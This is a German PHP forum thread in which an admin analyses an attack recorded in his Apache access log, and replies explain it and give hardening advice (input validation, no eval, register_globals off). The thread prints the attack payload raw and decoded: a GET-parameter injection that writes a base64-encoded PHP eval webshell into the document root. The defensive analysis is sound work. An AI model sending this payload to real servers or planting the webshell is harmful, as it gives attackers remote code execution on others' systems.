Ankündigung

Einklappen
Keine Ankündigung bisher.

Angriff auf Apache Webserver - versuche zu verstehen

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Angriff auf Apache Webserver - versuche zu verstehen

    Hi,
    einer unserer Webserver ist angegriffen worden. Die offizielle Apache ML konnte mir schon teilweise weiterhelfen, jetzt habe ich aber noch einige nähere Frage zu php und Datenübergabe vom Client zum Server.
    Ich bin kein php Programmierer, kenn mich etwas mit der Konfiguration von Apache aus.
    Der Angriffsversuch im access_log:
    91.200.12.33 - - [06/Feb/2017:16:43:26 +0100] 236 "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29% 3B%40set_time_limit%280%29%3B%40set_magic_quotes_r untime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DO CUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAg ZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7 C%3C-%27%3B HTTP/1.1" 200 90

    Die IP ist aus der Ukraine, der Statuscode 200 hat mich natürlich erst mal etwas verrückt gemacht.
    Diesen mit Prozent codierten String kann man umwandeln (gibt's Webseiten dafür):

    /?1=@ini_set("display_errors","0");@set_time_limit( 0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgk X1BPU1RbMV0pOz8+'));echo '|<-';

    Das sieht ja schon mal etwas verständlicher aus.
    Mit ini_set versucht er was in der php.ini zu verändern. set_time_limit (0) erlaubt ihm daß sein script ewig laufen kann. set_magic_quotes_runtime setzt den Wert von magic_quotes_runtime auf Null. Dann versucht er mit file_put_contents eine Datei anzulegen und direkt einen String reinzuschreiben. Und zwar im Document_root des Webservers (bzw. hier im document_root des vhostes).
    Der string lautet decodiert: <?php eval($_POST[1]);?> .
    Das scheint wohl sehr kritisch zu sein. Eval führt einfach alles aus was es bekommt. Und die Anweisungen würde er per POST an die webconfig.txt.php schicken.
    Die @ vor den ersten drei Funktionen unterdrücken eventl. Fehlermeldungen.
    Hab ich alles richtig verstanden bisher ?

    Meine Fragen:
    wozu sind die beiden echos gut ? Was soll das 1= am Anfang des übergebenen Strings ? Steht dann in $_GET[1] der gesamte String ? Oder nur bis zum esten Semikolon ?
    Ist es per $_GET[] bzw. $_POST[] auch mit einem Zählindex möglich, auf die einzelnen Arrayelemente zuzugreifen oder geht das nur über den Namen ?
    Würde der php Interpreter das alles einfach so übernehmen ? Der Angriff war übrigens erfolglos da, Sicherheitsempfehlungen von hhtp.apache.org folgend, der User wwwrun nur lesenden Zugriff auf Document_root hat.

    Das wär's mal für's erste.

    Aah: Apache 2.2.3, php 5.2

    Danke.

    Bernd

    P.S. Ich weiß das die eingesetzten Versionen alt sind. Asche auf mein Haupt. Wird aktualisiert.
    Was haltet Ihr unabhängig von der notwenidgen Aktualisierung von Absicherung per AppArmor oder mod_security ?

  • #2
    Zitat von bernd.lentes Beitrag anzeigen
    Die IP ist aus der Ukraine, der Statuscode 200 hat mich natürlich erst mal etwas verrückt gemacht.
    Es wird ja nur der Pfad / mit einem Get-Parameter aufgerufen, den deine Applikation vermutlich einfach ignoriert, daher wurde einfach deine Hauptseite ausgeliefert.

    Zitat von bernd.lentes Beitrag anzeigen
    Hab ich alles richtig verstanden bisher ?
    Ja

    Zitat von bernd.lentes Beitrag anzeigen
    wozu sind die beiden echos gut ?
    Vermutlich kann der Angreifer damit erkennen, ob es funktioniert hat und ob es eine Fehlermeldung beim schreiben der Datei gab.

    Zitat von bernd.lentes Beitrag anzeigen
    Was soll das 1= am Anfang des übergebenen Strings ?
    Das ist der Name des Get-Parameters

    Zitat von bernd.lentes Beitrag anzeigen
    Steht dann in $_GET[1] der gesamte String ? Oder nur bis zum esten Semikolon ?
    Wenn ich mich nicht irre müsste er in $_GET['1'] stehen, der gesamte String, semikolons sind keine Trenner in Get-Parametern, dafür wird das '&' genutzt.

    Zitat von bernd.lentes Beitrag anzeigen
    Ist es per $_GET[] bzw. $_POST[] auch mit einem Zählindex möglich, auf die einzelnen Arrayelemente zuzugreifen oder geht das nur über den Namen ?
    Nur über den Namen, aber das verhindert ja kein drüberiterieren mit foreach.

    Zitat von bernd.lentes Beitrag anzeigen
    Würde der php Interpreter das alles einfach so übernehmen ?
    Ich weiß nicht genau, wie das gemeint ist. Meinst du, ob der Interpreter das einfach ausführen würde? Nein. Solche Sicherheitslücken baut sicher niemand in PHP ein

    Zitat von bernd.lentes Beitrag anzeigen
    Was haltet Ihr unabhängig von der notwenidgen Aktualisierung von Absicherung per AppArmor oder mod_security ?
    Dazu kann ich leider nichts sagen, sorry
    [QUOTE=nikosch]Macht doch alle was Ihr wollt mit Eurem Billigscheiß. Von mir aus sollen alle Eure Server abrauchen.[/QUOTE]

    Kommentar


    • #3
      Das sieht zwar auf den ersten Blick sehr schlimm aus, ist es aber normal nicht. Außer du bist so blöd und übernimmst externe Daten ungeprüft.

      Wichtig ist also:
      * Prüfe externe Daten auf genau das, was du erwartest. Alles andere ignorieren oder wegschmeißen
      * Prüfe die Daten vollständig und im richtigen Kontext.
      * ganz wichtig: kein eval();

      Dein gezeigter Angriff hofft darauf, dass der Code von 1=... ausgeführt wird.
      Windows Server gehören NICHT ins Internet!

      Dildo? Dildo!

      Kommentar


      • #4
        Warum lässt du sowas überhaupt zu?
        Prüfe die übergebenen Parameter und schliesse deine Sicherheitslücke.

        Kommentar


        • #5
          Zitat von tkausl Beitrag anzeigen

          Wenn ich mich nicht irre müsste er in $_GET['1'] stehen, der gesamte String, semikolons sind keine Trenner in Get-Parametern, dafür wird das '&' genutzt.

          Lt. https://de.wikipedia.org/wiki/Hypert...tocol#HTTP_GET geht's auch mit Semikolon.

          Kommentar


          • #6
            Wenn du 5.2 hast, achte darauf, dass du die register_globals abgeschaltet hast. Sonst landet das ?1= anstelle in $_GET plötzlich in $1 (oder eben dann nicht $1 sondern $db oder wie auch immer...).
            [URL="https://github.com/chrisandchris"]GitHub.com - ChrisAndChris[/URL] - [URL="https://github.com/chrisandchris/symfony-rowmapper"]RowMapper und QueryBuilder für MySQL-Datenbanken[/URL]

            Kommentar

            Lädt...
            X